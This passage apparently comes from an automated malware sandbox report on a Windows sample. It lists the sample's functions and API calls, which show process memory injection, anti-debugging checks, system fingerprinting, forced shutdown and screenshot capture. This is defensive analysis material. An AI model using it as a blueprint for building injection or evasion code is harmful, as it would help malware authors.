      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 004086C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 004086D9
    • SetEvent.KERNEL32 ref: 004086EC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041D80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 0041D834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 0041D847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0041D86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 0041D887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8A1
    • CloseHandle.KERNEL32(00000001), ref: 0041D8AA
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004196EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00419703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 0041971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00419737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 0041974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00419766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00419770
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419CA7, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00419CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00419CC4
    • IsWow64Process.KERNEL32 ref: 00419CD4
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00407898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 004078A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 004078BB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041CE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(00400000,?), ref: 0041CEB2
    • VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 0041CED0
    • WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0041CF62
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0041CF87
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042C68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 0042C52D: GetComputerNameW.KERNEL32(?,?), ref: 0042C548
      • Part of subcall function 0042C52D: GetVersionExW.KERNEL32(?), ref: 0042C57F
      • Part of subcall function 0042C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0042C5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 0042C6DD
    • GetVolumeInformationA.KERNEL32(00407CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0042C71A
      • Part of subcall function 004196EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00419703
      • Part of subcall function 004196EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 0041971B
      • Part of subcall function 004196EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00419737
      • Part of subcall function 004196EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 0041974F
      • Part of subcall function 004196EA: CryptDestroyHash.ADVAPI32(?), ref: 00419766
      • Part of subcall function 004196EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00419770
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042C52D, Relevance: 4.6, APIs: 3, Instructions: 119
    APIs
    • GetComputerNameW.KERNEL32(?,?), ref: 0042C548
    • GetVersionExW.KERNEL32(?), ref: 0042C57F
      • Part of subcall function 0041C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0041C780
    • RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0042C5F3
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 0041C867
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 0041C896
      • Part of subcall function 0041C842: RegCloseKey.ADVAPI32(?), ref: 0041C8B6
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00417266, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
    APIs
    • VirtualAlloc.KERNEL32(00000000,000041BB,00001000,00000040), ref: 004172C9
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041C842, Relevance: 4.6, APIs: 3, Instructions: 54
    APIs
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 0041C867
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 0041C896
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • RegCloseKey.ADVAPI32(?), ref: 0041C8B6
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00407492, Relevance: 4.5, APIs: 3, Instructions: 46
    APIs
    • DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 004074B8
    • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 004074CC
    • DuplicateHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000001), ref: 004074E6
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00407E34, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
    APIs
      • Part of subcall function 0041CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
    • CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041C7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,0042C5CF,?), ref: 0041C7D3
    • RegCloseKey.ADVAPI32(?), ref: 0041C7E1
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040746D, Relevance: 1.5, APIs: 1, Instructions: 11
    APIs
    • WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 00407484
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd

    Non-executed Functions

    Function 0040D75C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 0040D75C
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 0040D75C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 0040D75C
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042533A, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 0042533A, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00425415, Relevance: 7.6, APIs: 5, Instructions: 53
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 00425415, Relevance: 7.6, APIs: 5, Instructions: 53
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041B57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041107F, Relevance: 4.6, APIs: 3, Instructions: 56
    APIs
    • UnmapViewOfFile.KERNEL32 ref: 0041107F
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00411085
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004110BE
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 0041107F, Relevance: 4.6, APIs: 3, Instructions: 56
    APIs
    • UnmapViewOfFile.KERNEL32 ref: 0041107F
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00411085
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004110BE
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00416AF4, Relevance: 4.6, APIs: 3, Instructions: 51
    APIs
    • GetPrinterDriverW.WINSPOOL.DRV ref: 00416AF4
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00416AF9
    • StartDocW.GDI32 ref: 00416AFF
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 00416AF4, Relevance: 4.6, APIs: 3, Instructions: 51
    APIs
    • GetPrinterDriverW.WINSPOOL.DRV ref: 00416AF4
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00416AF9
    • StartDocW.GDI32 ref: 00416AFF
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004139E2, Relevance: 4.5, APIs: 3, Instructions: 38
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 004139E2
    • DialogBoxParamW.USER32 ref: 004139E8
    • CreateFileMappingW.KERNEL32 ref: 004139EE
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 004139E2, Relevance: 4.5, APIs: 3, Instructions: 38
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 004139E2
    • DialogBoxParamW.USER32 ref: 004139E8
    • CreateFileMappingW.KERNEL32 ref: 004139EE
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041B962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419B00, Relevance: 3.2, APIs: 2, Instructions: 204
    APIs
    Memory Dump Source
    • Source File: 00000006.00000001.633047700.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000001.633027189.00400000.00000002.sdmp
    • Associated: 00000006.00000001.633089862.00426000.00000002.sdmp
    • Associated: 00000006.00000001.633112985.00439000.00000008.sdmp
    • Associated: 00000006.00000001.633158772.00455000.00000004.sdmp
    • Associated: 00000006.00000001.633324879.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_1_gonuu.jbxd
    Function 00419B00, Relevance: 3.2, APIs: 2, Instructions: 204
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041B99D, Relevance: 94.9, APIs: 63, Instructions: 376
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041BB7C, Relevance: 94.8, APIs: 63, Instructions: 315
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041B927, Relevance: 93.4, APIs: 62, Instructions: 394
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041C079, Relevance: 93.2, APIs: 62, Instructions: 163
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041C206, Relevance: 93.1, APIs: 62, Instructions: 128
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041B840, Relevance: 91.9, APIs: 61, Instructions: 425
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041BB36, Relevance: 91.8, APIs: 61, Instructions: 329
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041BC99, Relevance: 91.8, APIs: 61, Instructions: 279
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00417B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00417BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00417BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00417BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00417BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00417C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00417C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00417C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00417C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00417C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00417C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00417C94
    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00417C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00417CAB
